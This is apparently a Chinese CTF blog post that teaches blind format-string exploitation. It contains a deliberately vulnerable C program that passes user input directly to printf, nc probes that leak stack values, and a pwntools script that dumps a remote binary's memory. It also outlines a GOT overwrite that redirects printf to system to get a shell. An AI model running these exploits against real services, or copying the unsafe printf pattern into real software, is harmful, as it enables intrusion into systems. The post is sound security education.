Format String to leak binary with blind pwn

Format String

link here
https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_intro/

  • d/i,有符号整数
  • u,无符号整数
  • x/X,16进制unsigned int 。x使用小写字母;X使用大写字母。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
  • o,8进制unsigned int 。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
  • s,如果没有用l标志,输出null结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了l标志,则对应函数参数指向wchar_t型的数组,输出时把每个宽字符转化为多字节字符,相当于调用wcrtomb 函数。
  • c,如果没有用l标志,把int参数转为unsigned char型输出;如果用了l标志,把wint_t参数转为包含两个元素的wchart_t数组,其中第一个元素包含要输出的字符,第二个元素为null宽字符。
  • p, void *型,输出对应变量的值。printf("%p",a)用地址的格式打印变量a的值,printf("%p", &a)打印变量a所在的地址。
  • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
  • %, '%'字面值,不接受任何flags, width。

Blind pwn

Intro

没有binary的pwn,我们可以通过格式化串来leak memory,甚至leak binary。
在这里引用一个最简单的例子

# fmt_test.c

int main(int argc, char * argv[])
{
	char a[1024];
	memset(a, '\0', 1024);
	read(0, a, 1024);
	printf(a);
	return 0;
}

# $ gcc fmt_test.c -o fmt_test -m32
# $ socat TCP4-LISTEN:10001,fork EXEC:./fmt_test

我们没有binary,交互只是这样:

$ nc 127.0.0.1 10001
aaaaaaa
aaaaaaa

但是我们利用格式化串去尝试:

$ nc 127.0.0.1 10001
%x
2c51cce0

在这里略过大部分文章中都会提及的部分。
如果格式化串和面,没有参数,默认输出高位地址栈上的内容,根据格式化串的格式,我们可以更改为%N$x等形式,N为整数,x为格式。
通过增大N,来返回栈上指定位置的内存,每增大一,指向的内存地址会增加4字节(32位)。比如

$ nc 127.0.0.1 10001
ABCD%2$x
ABCD400

$ nc 127.0.0.1 10001
ABCD%3$x
ABCD174

$ nc 127.0.0.1 10001
ABCD%4$x
ABCD174

....

$ nc 127.0.0.1 10001
ABCD%7$x
ABCD44434241

可以发现最后一次ABCD已经被输出为16进制的形式了。证明格式化串指向了格式化串的内存地址,即得到payload: addr + %7$s, 由于格式化串会解析s类型的地址,故返回值为addr指向的内存的字符串,输出直到\0为止。(这里的7并不是准确值,只是为了更好地配合下面的图片)

Modify

然而,如果此时addr中带有0x00会发生截断,因此我们修改payload为%8$s+p32(addr)对应的堆栈图如下:
FpW3xLrwF1J9MKUZ1xrtxhqn0W5y
在Linux下,不开PIE保护时,32位的ELF的默认首地址为0x8048000,如果开启了PIE保护,则需要根据ELF的魔术头7f 45 4c 46进行爆破,内存地址一页一页的往前翻直到翻到ELF的魔术头为止。建议从8048000开始泄露。

Dump

在进行dump的过程中实际上是需要注意一些内容的,原因是%s进行输出时实际上是x00截断的,但是.text段中不可避免会出现x00,但是我们注意到还有一个特性,如果对一个x00的地址进行leak,返回是没有结果的,因此如果返回没有结果,我们就可以确定这个地址的值为x00,所以可以设置为x00然后将地址加1进行dump。
给一个dump脚本

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'
f = open("bin", "ab+")

begin = 0x8048000
offset = 0

while True:
	addr = begin + offset
	p = remote("127.0.0.1",10001)
	p.sendline("%9$saaab" + p32(addr))
	try:
		info = p.recvuntil("aaa")[:-3]
	except EOFError:
		print offset
		break
	info += "\x00"
	p.close()
	offset += len(info)
	f.write(info)
	f.flush()
f.close()

需要注意的是如果info返回的内容地址为null,根据实际情况加判断。如

if len(info)==0:
    info=""
或者    
if info=="(null)":
    info=""

Further

  1. 后续可以覆盖got表的printf的got表地址,需要利用格式化串leak system在libc的地址以计算差值,输入/bin/sh即可getshell,具体看引用部分。
  2. 寻找输入部分有无栈溢出,构造栈溢出
  3. 其他

一个最简单的格式化串看了一下午才明白...,关键在于卡在了格式化串构造上几次N的变化,以及dump时遇到的EOF修正。

Refer

  1. https://0x48.pw/2017/03/13/0x2c/
  2. https://www.anquanke.com/post/id/85731
  3. http://momomoxiaoxi.com/2017/12/26/Blindfmtstr/
作者:xmsec
Chief Water dispenser Manager, delivering but striving.
GitHub